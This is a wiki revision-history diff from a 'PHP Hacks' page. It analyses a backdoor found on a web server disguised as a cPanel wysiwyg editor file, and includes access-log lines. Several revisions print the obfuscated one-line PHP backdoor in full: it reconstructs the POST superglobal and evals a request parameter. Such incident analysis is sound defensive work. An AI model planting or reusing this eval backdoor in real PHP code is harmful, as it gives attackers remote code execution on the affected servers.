	The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:		The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:

	<syntaxhighlight lang="text">		<syntaxhighlight lang="text"> $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
	~~<?php~~ $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
	</syntaxhighlight>		</syntaxhighlight>

	[[Category:Code]]		[[Category:Code]]

← Older revision		Revision as of 06:55, 24 February 2015
Line 1,638:		Line 1,638:
	</syntaxhighlight>		</syntaxhighlight>

	The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following code injected to the start of the file:		The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:

	<syntaxhighlight>		<syntaxhighlight lang="text">
	<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>		<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
	</syntaxhighlight>		</syntaxhighlight>

	[[Category:Code]]		[[Category:Code]]

← Older revision		Revision as of 06:54, 24 February 2015
Line 1,629:		Line 1,629:



			== How it is uploaded ==

			I noticed a new script that was being abused today. Looking at the logs for the first occurrence of the exploited script shows this:
			<syntaxhighlight lang="text">
			176.31.148.191 - - [23/Feb/2015:20:51:46 -0700] "POST /.wysywigPro_edit_index_html.php HTTP/1.1" 200 200 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
			176.31.148.191 - - [23/Feb/2015:20:52:00 -0700] "GET /wordpress/wp-includes/js/crop/article.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
			</syntaxhighlight>

			The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following code injected to the start of the file:

			<syntaxhighlight>
			<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
			</syntaxhighlight>

	[[Category:Code]]		[[Category:Code]]

PHP Hacks - Revision history

Leo: Text replacement - "" to "}}"

Leo: Text replacement - "" to "{{code|"

Leo: /* Backdoor */

Leo: Reverted edits by Leo (talk) to last revision by 10.1.1.3

Leo: /* Fix */

10.1.1.3: /* How it is uploaded */

10.1.1.3: /* How it is uploaded */

10.1.1.3: /* How it is uploaded */

10.1.1.3 at 06:54, 24 February 2015

136.159.16.240: /* PHP Spammer v2.0 */

Leo: Text replacement - "`" to "{{code|"`